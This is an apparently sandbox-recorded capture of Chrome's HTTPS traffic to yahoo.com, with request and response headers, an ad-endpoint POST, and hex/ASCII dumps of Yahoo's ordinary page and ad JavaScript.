2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 72 20 70 3d 53 28 29 2c 76 3d 77 69 6e 64 6f 77 2e 59 41 48 4f 4f 26 26 77 69 6e 64 6f 77 2e 59 41 48 4f 4f 2e 63 6f 6e 74 65 78 74 7c 7c 7b 7d 2c 4c 3d 7b 63 6f 6e 66 69 67 3a 7b 6c 65 61 64 49 74 65 6d 55 75 69 64 3a 67 7c 7c 66 7d 2c 63 74 72 6c 3a 6f 2c 6c 61 6e 67 3a 76 2e 6c 61 6e 67 2c 6d 5f 69 64 3a 73 2c 6d 5f 6d 6f 64 65 3a 63 2c 72 65 67 69 6f 6e 3a 76 2e 72 65 67 69 6f 6e 2c 73 69 74 65 3a 76 2e 73 69 74 65 7d 3b 63 6f 6e 73 74 20 6e 3d 76 2e 70 61 72 74 6e 65 72 2c 6c 3d 7b 64 65 64 75 70 55 75 69 64 73 3a 70 2e 64 65 64 75 70 55 75 69 64 73 2e 6a 6f 69 6e 28 22 2c 22 29 2c 75 75 69 64 3a 66 7d 3b 76 61 72 20 45 3d 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 63 66 67 22 29 3b 69 66 28 45 29 7b 76 61 72 20 68 3d 6d 2e 67 65 Data Ascii: r p=S(),v=window.YAHOO&&window.YAHOO.context\|\|{},L={config:{leadItemUuid:g\|\|f},ctrl:o,lang:v.lang,m_id:s,m_mode:c,region:v.region,site:v.site};const n=v.partner,l={dedupUuids:p.dedupUuids.join(","),uuid:f};var E=a.getAttribute("data-cfg");if(E){var h=m.ge
2024-01-10 23:27:12 UTC	888	IN	Data Raw: 26 41 2e 63 6f 6e 76 65 72 74 4e 6f 64 65 4c 69 73 74 54 6f 41 72 72 61 79 28 4c 29 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 67 26 26 65 3f 70 28 65 29 3a 65 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 6e 6f 6e 65 22 7d 29 29 7d 29 29 7d 69 66 28 77 26 26 77 2e 6c 65 6e 67 74 68 29 7b 4c 28 29 3b 76 61 72 20 45 2c 68 2c 79 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 73 63 72 6f 6c 6c 61 62 6c 65 2d 73 6d 61 64 22 29 2c 4e 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 73 63 72 6f 6c 6c 61 62 6c 65 2d 76 69 64 65 6f 22 29 2c 52 3d 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 48 65 69 67 68 74 7c 7c 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e Data Ascii: &A.convertNodeListToArray(L).forEach((function(e){g&&e?p(e):e.style.display="none"}))}))}if(w&&w.length){L();var E,h,y=document.getElementById("scrollable-smad"),N=document.getElementById("scrollable-video"),R=window.innerHeight\|\|document.documentElement.
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 76 69 64 65 6f 2d 71 75 61 72 74 69 6c 65 2d 31 30 30 22 29 7d 79 26 26 4e 26 26 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 73 63 72 6f 6c 6c 22 2c 41 2e 74 68 72 6f 74 74 6c 65 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 4e 26 26 4e 2e 64 75 72 61 74 69 6f 6e 2c 74 3d 79 2e 67 65 74 42 6f 75 6e 64 69 6e 67 43 6c 69 65 6e 74 52 65 63 74 28 29 3b 69 66 28 74 2e 74 6f 70 3c 52 26 26 74 2e 62 6f 74 74 6f 6d 3e 30 29 7b 4e 2e 63 75 72 72 65 6e 74 54 69 6d 65 3d 28 77 69 6e 64 6f 77 2e 70 61 67 65 59 4f 66 66 73 65 74 2d 45 29 2a 65 2f 68 3b 76 61 72 20 61 3d 28 52 2d 74 2e 74 6f 70 29 2f 52 2a 31 30 30 3b 28 61 3d 35 2a 4d 61 74 68 2e 63 65 69 6c 28 61 2f 35 29 29 3e 3d 31 Data Ascii: tribute("data-video-quartile-100")}y&&N&&window.addEventListener("scroll",A.throttle((function(){var e=N&&N.duration,t=y.getBoundingClientRect();if(t.top<R&&t.bottom>0){N.currentTime=(window.pageYOffset-E)e/h;var a=(R-t.top)/R100;(a=5*Math.ceil(a/5))>=1
2024-01-10 23:27:12 UTC	866	IN	Data Raw: 63 6f 6e 22 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 65 29 7d 29 2c 31 30 29 29 2c 61 3d 6e 75 6c 6c 2c 74 3d 6e 75 6c 6c 7d 7d 29 29 3b 77 69 6e 64 6f 77 2e 77 61 66 65 72 2e 6f 6e 28 22 76 69 64 65 6f 3a 61 64 70 6c 61 79 62 61 63 6b 73 74 61 72 74 22 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 2e 65 6c 65 6d 26 26 65 2e 65 6c 65 6d 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 65 2e 65 6c 65 6d 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 63 6c 61 73 73 4c 69 73 74 26 26 65 2e 65 6c 65 6d 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 73 74 72 65 61 6d 2d 76 69 64 65 6f 2d 61 64 2d 76 32 22 29 26 26 65 2e 65 6c 65 6d 2e 70 61 72 Data Ascii: con"),setTimeout((function(){r.classList.add(e)}),10)),a=null,t=null}}));window.wafer.on("video:adplaybackstart",(function(e){e&&e.elem&&e.elem.parentNode&&e.elem.parentNode.classList&&e.elem.parentNode.classList.contains("stream-video-ad-v2")&&e.elem.par

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.4	49876	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:12 UTC	1159	OUT	POST /fp_ms/_rcv/remote?ctrl=NativeAd&m_id=react-wafer-nativeAd&rid=0gast8pipu9uc&m_mode=json&designtype=default HTTP/1.1 Host: www.yahoo.com Connection: keep-alive Content-Length: 581 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" content-type: application/json x-webp: 1 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A
2024-01-10 23:27:12 UTC	581	OUT	Data Raw: 7b 22 62 75 63 6b 65 74 22 3a 22 64 72 6f 70 5f 68 65 69 6d 64 61 6c 6c 5f 68 6f 6d 65 70 61 67 65 5f 63 6f 6e 74 72 6f 6c 5f 62 75 63 6b 65 74 2c 4d 69 6d 69 63 50 72 6f 76 69 64 65 72 4c 69 73 74 76 32 2d 63 6f 70 79 2c 73 65 61 6d 6c 65 73 73 22 2c 22 63 74 72 6c 22 3a 22 4e 61 74 69 76 65 41 64 22 2c 22 64 65 76 69 63 65 22 3a 22 64 65 73 6b 74 6f 70 22 2c 22 6c 61 6e 67 22 3a 22 65 6e 2d 55 53 22 2c 22 6d 5f 69 64 22 3a 22 72 65 61 63 74 2d 77 61 66 65 72 2d 6e 61 74 69 76 65 41 64 22 2c 22 6d 5f 6d 6f 64 65 22 3a 22 6a 73 6f 6e 22 2c 22 72 65 67 69 6f 6e 22 3a 22 55 53 22 2c 22 73 69 74 65 22 3a 22 66 70 22 2c 22 63 6f 6e 66 69 67 22 3a 7b 22 69 74 65 6d 73 22 3a 5b 7b 22 63 6f 6e 66 69 67 22 3a 7b 22 64 61 74 61 59 6c 6b 53 74 72 22 3a 22 62 70 6f Data Ascii: {"bucket":"drop_heimdall_homepage_control_bucket,MimicProviderListv2-copy,seamless","ctrl":"NativeAd","device":"desktop","lang":"en-US","m_id":"react-wafer-nativeAd","m_mode":"json","region":"US","site":"fp","config":{"items":[{"config":{"dataYlkStr":"bpo
2024-01-10 23:27:12 UTC	1259	IN	HTTP/1.1 200 OK referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000 content-type: application/json; charset=utf-8 status-code: 200 x-app-version: 1.0.36844 x-applet-version: 1.0.36844 x-applet-id: react-wafer-nativeAd vary: Accept-Encoding date: Wed, 10 Jan 2024 23:27:12 GMT x-envoy-upstream-service-time: 187 server: ATS x-envoy-decorator-operation: tdv2-app-fp--mtls-production-bf1.frontpage-k8s-frontend.svc.yahoo.local:4080/* Age: 0 Content-Security-Policy: sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=4fq9g81ipu9ug&partner=; frame-ancestors 'self' https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com htts://.verizonmedia.com https://.publishing.oath.com Transfer-Encoding: chunked Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-01-10 23:27:12 UTC	1001	IN	Data Raw: 35 32 34 37 0d 0a 7b 22 61 73 73 65 74 73 22 3a 7b 22 63 73 73 22 3a 5b 7b 22 6c 6f 63 61 74 69 6f 6e 22 3a 22 74 6f 70 22 2c 22 76 61 6c 75 65 22 3a 22 2f 61 61 71 2f 63 70 72 6f 70 73 2f 63 6f 6c 6f 72 73 5f 31 2e 31 2e 32 37 2e 6d 69 6e 2e 63 73 73 22 2c 22 6e 61 6d 65 22 3a 22 63 75 73 74 6f 6d 2d 70 72 6f 70 65 72 74 69 65 73 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 31 2e 31 2e 32 37 22 7d 2c 7b 22 6c 6f 63 61 74 69 6f 6e 22 3a 22 74 6f 70 22 2c 22 76 61 6c 75 65 22 3a 22 2f 61 61 71 2f 66 70 2f 63 73 73 2f 72 65 61 63 74 2d 77 61 66 65 72 2d 6e 61 74 69 76 65 41 64 2e 4e 61 74 69 76 65 41 64 2e 61 74 6f 6d 69 63 2e 6c 74 72 2e 35 63 33 39 61 39 38 34 33 38 30 37 63 31 65 39 61 65 65 35 61 62 31 33 38 62 64 30 64 64 64 39 2e 6d 69 6e 2e 63 73 73 22 2c Data Ascii: 5247{"assets":{"css":[{"location":"top","value":"/aaq/cprops/colors_1.1.27.min.css","name":"custom-properties","version":"1.1.27"},{"location":"top","value":"/aaq/fp/css/react-wafer-nativeAd.NativeAd.atomic.ltr.5c39a9843807c1e9aee5ab138bd0ddd9.min.css",
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 32 2e 32 32 2e 32 2d 6d 6f 64 65 72 6e 2e 6a 73 22 2c 22 6e 61 6d 65 22 3a 22 77 61 66 65 72 2d 73 63 72 6f 6c 6c 76 69 65 77 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 32 2e 32 32 2e 32 22 7d 2c 7b 22 6c 6f 63 61 74 69 6f 6e 22 3a 22 62 6f 74 74 6f 6d 22 2c 22 76 61 6c 75 65 22 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 6c 69 67 68 74 62 6f 78 2d 31 2e 31 30 2e 36 2d 6d 6f 64 65 72 6e 2e 6a 73 22 2c 22 6e 61 6d 65 22 3a 22 77 61 66 65 72 2d 6c 69 67 68 74 62 6f 78 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 31 2e 31 30 2e 36 22 7d 2c 7b 22 6c 6f 63 61 74 69 6f 6e 22 3a 22 62 6f 74 74 6f 6d 22 2c 22 76 61 6c 75 65 22 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 76 69 64 65 6f 2d 32 2e 32 32 2e 31 35 2d 6d 6f 64 65 72 6e 2e 6a 73 22 2c 22 6e 61 6d 65 22 3a 22 77 61 66 65 72 Data Ascii: 2.22.2-modern.js","name":"wafer-scrollview","version":"2.22.2"},{"location":"bottom","value":"/aaq/wf/wf-lightbox-1.10.6-modern.js","name":"wafer-lightbox","version":"1.10.6"},{"location":"bottom","value":"/aaq/wf/wf-video-2.22.15-modern.js","name":"wafer
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 20 69 64 3d 5c 22 73 74 72 6d 2d 61 64 2d 6d 61 69 6e 2d 6e 61 74 69 76 65 2d 61 64 2d 31 2d 31 2d 33 5c 22 20 64 61 74 61 2d 74 79 70 65 3d 5c 22 31 5c 22 20 64 61 74 61 2d 79 61 66 74 2d 6d 6f 64 75 6c 65 3d 5c 22 73 74 72 65 61 6d 5f 69 74 65 6d 5f 33 5c 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 73 74 72 65 61 6d 2d 69 74 65 6d 20 77 61 66 65 72 2d 62 65 61 63 6f 6e 20 4d 69 68 28 31 31 39 70 78 29 5c 22 20 64 61 74 61 2d 77 66 2d 62 65 61 63 6f 6e 73 3d 5c 22 68 74 74 70 73 3a 2f 2f 61 2e 62 65 61 70 2e 67 65 6d 69 6e 69 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 6d 62 63 73 63 3f 62 76 3d 33 2e 30 2e 30 26 61 6d 70 3b 65 73 3d 41 51 41 41 41 4a 30 38 6d 53 49 6a 48 4b 42 47 4f 59 43 46 69 2d 56 59 6c 31 55 45 7a 56 6a 50 5a 41 47 55 5a 75 65 57 47 7a 5a 56 Data Ascii: id=\"strm-ad-main-native-ad-1-1-3\" data-type=\"1\" data-yaft-module=\"stream_item_3\"><div class=\"stream-item wafer-beacon Mih(119px)\" data-wf-beacons=\"https://a.beap.gemini.yahoo.com/mbcsc?bv=3.0.0&es=AQAAAJ08mSIjHKBGOYCFi-VYl1UEzVjPZAGUZueWGzZV
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 6d 4b 31 6c 31 4b 6f 54 56 58 48 4f 51 2d 61 63 33 6f 6c 70 34 64 6c 6b 4c 31 70 52 4f 51 67 47 6a 72 71 65 54 61 4f 75 6e 61 61 48 79 30 43 73 64 75 77 6d 38 64 67 78 4c 48 46 75 56 4c 55 66 31 5a 65 51 44 74 31 50 4c 77 36 6c 50 52 4b 44 6d 71 54 32 61 79 78 57 4b 4b 5a 58 45 39 78 4b 33 4e 32 66 75 5a 6f 31 6e 6d 6d 61 34 64 5a 71 59 34 79 54 58 37 76 4e 30 54 62 6f 49 51 57 30 72 65 6c 31 58 45 53 6a 52 63 55 38 72 2d 78 5a 53 78 33 5a 42 30 7a 51 66 6a 4b 64 41 4c 41 6b 30 72 50 76 64 4e 69 76 7a 37 57 53 50 72 4b 73 37 32 64 39 56 65 6a 77 42 77 45 31 5f 30 58 32 79 33 68 37 79 49 67 5a 34 65 70 59 45 57 79 41 41 57 2d 59 58 4b 50 66 37 54 67 78 45 66 37 5f 59 79 51 71 57 76 4e 68 7a 31 49 45 32 76 61 43 6c 50 32 47 73 48 69 46 52 49 6a 42 77 59 32 Data Ascii: mK1l1KoTVXHOQ-ac3olp4dlkL1pROQgGjrqeTaOunaaHy0Csduwm8dgxLHFuVLUf1ZeQDt1PLw6lPRKDmqT2ayxWKKZXE9xK3N2fuZo1nmma4dZqY4yTX7vN0TboIQW0rel1XESjRcU8r-xZSx3ZB0zQfjKdALAk0rPvdNivz7WSPrKs72d9VejwBwE1_0X2y3h7yIgZ4epYEWyAAW-YXKPf7TgxEf7_YyQqWvNhz1IE2vaClP2GsHiFRIjBwY2
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 38 70 78 29 5c 22 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 2f 2f 6c 65 67 61 6c 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 75 73 2f 65 6e 2f 79 61 68 6f 6f 2f 70 72 69 76 61 63 79 2f 61 64 69 6e 66 6f 2f 69 6e 64 65 78 2e 68 74 6d 6c 5c 22 20 64 61 74 61 2d 79 6c 6b 3d 5c 22 65 6c 6d 3a 69 74 6d 3b 65 6c 6d 74 3a 73 70 3b 69 74 63 3a 30 3b 62 70 6f 73 3a 31 3b 63 70 6f 73 3a 33 3b 63 70 6f 73 79 3a 38 3b 70 5f 73 79 73 3a 6a 61 72 76 69 73 3b 72 73 70 6e 73 3a 6e 61 76 3b 74 31 3a 61 33 3b 74 32 3a 73 74 72 6d 3b 74 33 3a 63 74 3b 63 63 6f 64 65 3a 6d 65 67 61 73 74 72 65 61 6d 5f 75 6e 69 66 69 65 64 5f 5f 65 6e 2d 55 53 5f 5f 66 72 6f 6e 74 70 61 67 65 5f 5f 64 65 66 61 75 6c 74 5f 5f 64 65 66 61 75 6c 74 5f 5f 64 65 73 6b 74 6f 70 5f 5f 67 61 5f 5f 6d 61 69 6e Data Ascii: 8px)\" href=\"https://legal.yahoo.com/us/en/yahoo/privacy/adinfo/index.html\" data-ylk=\"elm:itm;elmt:sp;itc:0;bpos:1;cpos:3;cposy:8;p_sys:jarvis;rspns:nav;t1:a3;t2:strm;t3:ct;ccode:megastream_unified__en-US__frontpage__default__default__desktop__ga__main
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 36 45 54 49 4c 75 71 51 69 44 64 56 52 6a 69 72 47 30 72 68 56 6d 4a 31 74 6c 53 77 69 2d 64 49 38 35 69 2d 43 62 4b 43 62 4f 4d 6f 4c 4f 38 5c 22 20 72 65 6c 3d 5c 22 6e 6f 66 6f 6c 6c 6f 77 20 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 5c 22 20 74 61 72 67 65 74 3d 5c 22 5f 62 6c 61 6e 6b 5c 22 20 64 61 74 61 2d 79 6c 6b 3d 5c 22 65 6c 6d 3a 69 74 6d 3b 65 6c 6d 74 3a 61 64 3b 69 74 63 3a 30 3b 62 70 6f 73 3a 31 3b 63 70 6f 73 3a 33 3b 63 70 6f 73 79 3a 38 3b 70 5f 73 79 73 3a 6a 61 72 76 69 73 3b 72 73 70 6e 73 3a 6e 61 76 3b 74 31 3a 61 33 3b 74 32 3a 73 74 72 6d 3b 74 33 3a 63 74 3b 63 63 6f 64 65 3a 6d 65 67 61 73 74 72 65 61 6d 5f 75 6e 69 66 69 65 64 5f 5f 65 6e 2d 55 53 5f 5f 66 72 6f 6e 74 70 61 67 65 5f 5f 64 65 66 61 75 6c 74 5f Data Ascii: 6ETILuqQiDdVRjirG0rhVmJ1tlSwi-dI85i-CbKCbOMoLO8\" rel=\"nofollow noopener noreferrer\" target=\"_blank\" data-ylk=\"elm:itm;elmt:ad;itc:0;bpos:1;cpos:3;cposy:8;p_sys:jarvis;rspns:nav;t1:a3;t2:strm;t3:ct;ccode:megastream_unified__en-US__frontpage__default_
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 45 37 4b 6c 33 44 46 57 30 5f 47 2d 73 63 57 72 30 69 43 64 67 70 34 77 4d 55 56 75 74 47 6a 5f 4d 33 72 4f 4b 53 4e 38 64 6f 65 39 67 73 66 56 53 57 63 5f 6b 39 39 76 6c 43 76 55 74 4b 49 31 31 61 6a 75 34 51 41 35 72 59 6d 72 59 70 4b 6a 56 38 62 73 30 36 51 47 37 2d 4e 6a 68 69 48 4e 4b 6a 33 44 67 45 66 39 6c 4b 4b 7a 76 43 77 73 4a 38 53 76 4b 32 46 65 43 6f 64 67 36 54 33 30 36 38 37 63 35 4d 5f 42 54 2d 4d 46 54 4c 39 74 53 37 39 64 69 59 36 5f 52 6f 58 55 54 55 48 41 36 66 62 41 67 6a 75 33 6e 73 38 5a 6b 56 39 41 64 4f 74 57 6f 6e 74 41 55 64 64 58 37 64 64 65 50 57 46 31 33 7a 56 72 41 36 72 45 36 55 41 4e 35 76 63 74 6e 4e 38 4f 47 76 44 4d 46 58 56 46 77 6e 47 31 31 6e 77 34 48 66 50 68 70 75 39 75 52 54 39 32 63 61 4b 49 38 42 6c 6f 70 68 38 Data Ascii: E7Kl3DFW0_G-scWr0iCdgp4wMUVutGj_M3rOKSN8doe9gsfVSWc_k99vlCvUtKI11aju4QA5rYmrYpKjV8bs06QG7-NjhiHNKj3DgEf9lKKzvCwsJ8SvK2FeCodg6T30687c5M_BT-MFTL9tS79diY6_RoXUTUHA6fbAgju3ns8ZkV9AdOtWontAUddX7ddePWF13zVrA6rE6UAN5vctnN8OGvDMFXVFwnG11nw4HfPhpu9uRT92caKI8Bloph8
2024-01-10 23:27:12 UTC	666	IN	Data Raw: 73 3a 67 65 6d 69 6e 69 2d 64 72 6f 70 64 6f 77 6e 2d 73 68 6f 77 3b 63 6c 69 63 6b 3a 72 65 6d 6f 76 65 3a 67 65 6d 69 6e 69 2d 64 72 6f 70 64 6f 77 6e 2d 66 65 65 64 62 61 63 6b 2d 73 68 6f 77 3b 63 6c 69 63 6b 3a 61 64 64 3a 67 65 6d 69 6e 69 2d 64 72 6f 70 64 6f 77 6e 2d 61 63 74 69 6f 6e 73 2d 73 68 6f 77 5c 22 20 64 61 74 61 2d 77 66 2d 74 6f 67 67 6c 65 2d 74 61 72 67 65 74 3d 5c 22 23 73 74 72 6d 2d 61 64 2d 6d 61 69 6e 2d 6e 61 74 69 76 65 2d 61 64 2d 31 2d 31 2d 33 20 2e 67 65 6d 69 6e 69 2d 64 72 6f 70 64 6f 77 6e 2d 70 61 6e 65 6c 5c 22 20 64 61 74 61 2d 77 66 2d 74 6f 67 67 6c 65 2d 64 65 6c 61 79 3d 5c 22 35 30 30 30 5c 22 20 64 61 74 61 2d 77 66 2d 74 72 69 67 67 65 72 3d 5c 22 63 6c 69 63 6b 5c 22 20 64 61 74 61 2d 77 66 2d 62 65 61 63 6f Data Ascii: s:gemini-dropdown-show;click:remove:gemini-dropdown-feedback-show;click:add:gemini-dropdown-actions-show\" data-wf-toggle-target=\"#strm-ad-main-native-ad-1-1-3 .gemini-dropdown-panel\" data-wf-toggle-delay=\"5000\" data-wf-trigger=\"click\" data-wf-beaco
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 5f 5f 65 6e 2d 55 53 5f 5f 66 72 6f 6e 74 70 61 67 65 5f 5f 64 65 66 61 75 6c 74 5f 5f 64 65 66 61 75 6c 74 5f 5f 64 65 73 6b 74 6f 70 5f 5f 67 61 5f 5f 6d 61 69 6e 2e 66 70 45 78 70 6c 3b 63 74 3a 61 64 3b 67 3a 6d 61 69 6e 2d 6e 61 74 69 76 65 2d 61 64 2d 31 3b 67 72 70 74 3a 73 69 6e 67 6c 65 73 74 6f 72 79 3b 70 6b 67 74 3a 6f 72 70 68 61 6e 5f 6e 6f 5f 69 6d 67 3b 70 6f 73 3a 31 3b 61 64 3a 31 3b 3b 73 6c 6b 3a 6f 70 65 6e 20 61 64 20 66 65 65 64 62 61 63 6b 3b 65 6c 6d 3a 65 78 70 61 6e 64 3b 6d 4b 65 79 3a 6f 70 65 6e 65 64 20 61 64 20 66 65 65 64 62 61 63 6b 20 6f 70 74 69 6f 6e 73 3b 5c 22 3e 3c 73 76 67 20 63 6c 61 73 73 3d 5c 22 52 6f 74 61 74 65 28 39 30 64 65 67 29 20 50 6f 73 28 72 29 20 42 28 31 30 70 78 29 20 43 75 72 28 70 29 5c 22 20 77 Data Ascii: __en-US__frontpage__default__default__desktop__ga__main.fpExpl;ct:ad;g:main-native-ad-1;grpt:singlestory;pkgt:orphan_no_img;pos:1;ad:1;;slk:open ad feedback;elm:expand;mKey:opened ad feedback options;\"><svg class=\"Rotate(90deg) Pos(r) B(10px) Cur(p)\" w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.4	49878	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:12 UTC	546	OUT	GET /aaq/wf/wf-autocomplete-1.31.8-modern.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:12 UTC	827	IN	HTTP/1.1 200 OK x-amz-id-2: vJkeGxC8ZRW1fcFy8s0TPvti5vIKGje5FCQqsnTcYVDeHCb/9VlgX6TkBQkspJWQN1DEkCSG08U= x-amz-request-id: DPSA63S4XMQY3XRH Date: Wed, 10 Jan 2024 23:26:17 GMT Last-Modified: Mon, 04 Dec 2023 12:09:37 GMT ETag: "ad4b4808c249d200df8bcdb043ac4611" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: 8t4F7XT1EMez7nbFAsJiLxiBVvaxQ2pI Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 29594 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 56 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 22 5d 3d 74 28 29 3a 28 65 2e 77 61 66 65 72 3d 65 2e 77 61 66 65 72 7c 7c 7b 7d 2c 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 65 2e 77 61 Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-autocomplete",[],t):"object"==typeof exports?exports["wafer-autocomplete"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wa
2024-01-10 23:27:12 UTC	770	IN	Data Raw: 74 2e 6e 63 29 2c 73 2e 73 72 63 3d 74 2e 70 2b 22 77 66 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 2d 31 2e 33 31 2e 38 2d 6d 6f 64 65 72 6e 2d 22 2b 7b 30 3a 22 61 34 66 33 31 65 31 30 61 65 22 7d 5b 65 5d 2b 22 2e 63 68 75 6e 6b 2e 6a 73 22 3b 76 61 72 20 6c 3d 73 65 74 54 69 6d 65 6f 75 74 28 69 2c 31 32 65 34 29 3b 72 65 74 75 72 6e 20 73 2e 6f 6e 65 72 72 6f 72 3d 73 2e 6f 6e 6c 6f 61 64 3d 69 2c 6f 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 73 29 2c 72 7d 2c 74 2e 6d 3d 65 2c 74 2e 63 3d 61 2c 74 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 69 2c 61 29 7b 74 2e 6f 28 65 2c 69 29 7c 7c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 69 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 31 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 67 65 Data Ascii: 